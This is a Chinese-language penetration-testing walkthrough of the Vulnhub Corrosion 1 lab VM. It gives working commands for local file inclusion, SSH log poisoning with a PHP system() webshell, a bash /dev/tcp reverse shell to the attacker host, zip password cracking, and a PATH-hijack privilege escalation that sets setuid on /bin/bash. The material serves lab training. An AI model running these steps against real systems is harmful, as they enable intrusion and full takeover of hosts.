【渗透测试】Vulnhub Corrosion 1
渗透环境
攻击机: IP: 192.168.226.129(Kali)
靶机: IP:192.168.226.128
靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/
进行渗透
一、 获取端口信息
nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

开放了22和80端口,访问80端口,可以正常访问。

二、 寻找WEB漏洞
对目录进行扫描,经过测试,使用dirsearch的默认字典扫描结果会有缺失,并且对于这个环境来说gobuster的扫描速度更快,因此我们使用gobuster使用指定字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt进行扫描
gobuster dir -u http://192.168.226.128/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-u :指定爆破网站
-w :指定字典
扫描结果如下

访问host/tasks

打开tasks_todo.txt,获得以下提示

访问host/blog-post,没有发现有用信息

对host/blog-post目录再次进行扫描
gobuster dir -u http://192.168.226.128/blog-post -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描结果如下

访问hosst/blog-post/archives/,发现randylogs.php,直接点击打开是空白的。

看了其他师傅们的文章,这里是有一个文件包含漏洞,但是我们不知道传什么参,因此我们fuzz以下,参数值就设置为/etc/passwd,得到fuzz结果为file。
wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd'
-w :指定字典
-hl 0: 输出返回页面长度大于0的结果
除了使用wfuzz还可以使用fuff
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

读取/etc/passwd内容,成功验证存在文件包含漏洞

三、 漏洞利用
根据前面tasks_todo.txt的提示,我们在/var/log/(日志文件一般都存在这儿)下发现了auth.log
http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log
22端口是SSH服务的端口号,我们将一句话木马注入auth.log中。将一句话木马作为用户名连接靶机。这里我们使用system()而不使用eval(),这样可以通过终端返回的一些信息判断是否成功注入一句话木马。
ssh '<?php system($_GET['soap']);?>'@192.168.226.128
接下来我们对soap传参ifconfig或者其他命令,若成功返回信息,则可验证注入成功
http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=ifconfig

验证注入成功,由于这是个log文件,不是php文件,因此我们无法使用蚁剑等工具连接一句话木马,不过可以用相同思路反弹shell。
启动监听,端口为4444
nc -nlvp 4444
连接监听端口
http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.129%2F4444%200%3E%261%27
soap的参数值是
bash -c 'bash -i >& /dev/tcp/192.168.226.129/4444 0>&1' 的URL编码
也可以用
echo "bash -i >& /dev/tcp/192.168.226.129/4444 0>&1" | bash 的URL编码
成功反弹shell

四、 提权
常规思路,先看一下有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
没有发现可利用的文件。但是在/var下发现backups

把user_backup.zip传到kali看看能不能获得有用信息。

靶机启动python搭建简易服务器
python3 -m http.server 8000
kali下载文件
wget http://192.168.226.128:8000/user_backup.zip

在kali中解压,发现需要密码,使用fcrackzip进行爆破,使用/usr/share/wordlists/rockyou.txt字典(kali自带,使用前先解压)
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
得到密码!randybaby

解压文件
unzip user_backup.zip
然后输入密码,即可解压。解压后发现文件my_password.txt,猜测是用户randy的ssh连接密码,登陆成功。

接下来我们就可以查看当前用户能以管理员身份运行的命令
sudo -l

发现easysysinfo可以以管理员身份运行,我们上面解压后也得到easysysinfo.c,查看一下,发现easysysinfo会调用cat,而且没有使用绝对路径,那么我们就可以重写一个cat,并将其加入系统的环境变量,通过重写的cat实现提权

echo 'chmod +s /bin/bash' > cat //在当前文件夹下写一个cat文件
chmod 777 cat //更改权限
export PATH=/home/randy/tools:$PATH //将当前路径加入环境变量
./easysysinfo //执行easysysinfo,会调用我们重写的cat
/bin/bash -p //root身份运行bash
chmod +s /bin/bash 是设置bash的setuid位,让用户在运行bash的过程中暂时获得拥有者的权限,运行easysysinfo时调用的是我们写的cat,就会让bash的setuid被设置,随后就可以以特权身份运行bash

发现flag在/root下,由于我们已经重写cat,因此我们用more来读取

渗透结束
【渗透测试】Vulnhub Corrosion 1的更多相关文章
- [经验分享] OSCP 渗透测试认证
http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...
- Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装
Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装 一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...
- Kali Linux Web 渗透测试秘籍 中文版
第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...
- 渗透测试工具BurpSuite做网站的安全测试(基础版)
渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...
- 渗透测试-信息收集-c段收集
平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...
- xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...
- ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题
最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...
- 渗透测试工具Nmap从初级到高级使用教程
本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...
- chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
- Kali Linux渗透测试实战 1.2 环境安装及初始化
1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...
随机推荐
- 我们为什么选择Vue.js而不是React(转载)
这篇非常好,可以当做 why React sucks 看 ;D 其实 vue 也不如 molecule 最近,Qwintry开发团队把很多项目都迁移至Vue.js,包括所有遗留的项目和新开始的项目: ...
- 【Java】【SpringBoot】CP02:单元测试
This article is written by Xrilang(Chinese Name:萌狼蓝天) If you want find me ,You can contact me in Bil ...
- Specifications动态查询
[前言说明] 针对CRUD种的查询,因为我们的查询总是具有各种各样的筛选条件 为了我们的程序能够更加适应筛选条件的变化,SpringDataJpa提供了Specifications这种解决方案 Spe ...
- 执行docker ps时提示"dial unix /var/run/docker.sock: connect: permission denied"
0. 创建docker用户组 sudo groupadd docker 1. 将当前用户加入docker组 # sudo gpasswd -a $USER docker $ sudo usermod ...
- 【转载】 进行API开发选gRPC还是HTTP APIs
https://www.cnblogs.com/yilezhu/p/10645804.html 开始之前先看一下gRPC与带有j'son的HTTP APIs对比表格 gRPC的优势 性能 gRPC消息 ...
- Mac下如何添加User到group中
原因: 使用mac的时候需要像linux一样对用户和群组进行操作,但是linux使用的gpasswd和usermod在mac上都不可以使用,mac使用dscl来对group和user操作. 介绍: $ ...
- Qt编写地图综合应用18-地图模式
一.前言 除了传统的街道图地图外,默认的一般都是街道图,还有卫星图.三维图等,其中又有叠加层,比如叠加路况图层和路网图层等,最近去了多家的地图官网看对应的api接口,总体上感觉现在都往2.5D或者3D ...
- Qt开源作品32-文本框回车焦点下移
一.前言 这个demo由于太过简单,而不用过多的文字描述,其实就是实现了在一个文本框中输入完成以后,回车自动跳入下一个文本框,焦点下移,这个在很多的社保系统.医疗系统等系统中很常用,因为那些系统需要很 ...
- V3Det&Bigdetection下载记录
V3Det dataset https://opendatalab.com/V3Det BigDetection
- 优化博客Ⅰ-压缩图片为webp格式
自动压缩博客图片为webp格式 作为自己的个人博客,我非常喜欢搞一些花里胡哨的东西,其中就包括不少精美图片,但是过多的图片会占用大量的网络资源导致博客加载速度变慢. 那怎么办呢? 第一个想到的就是升级 ...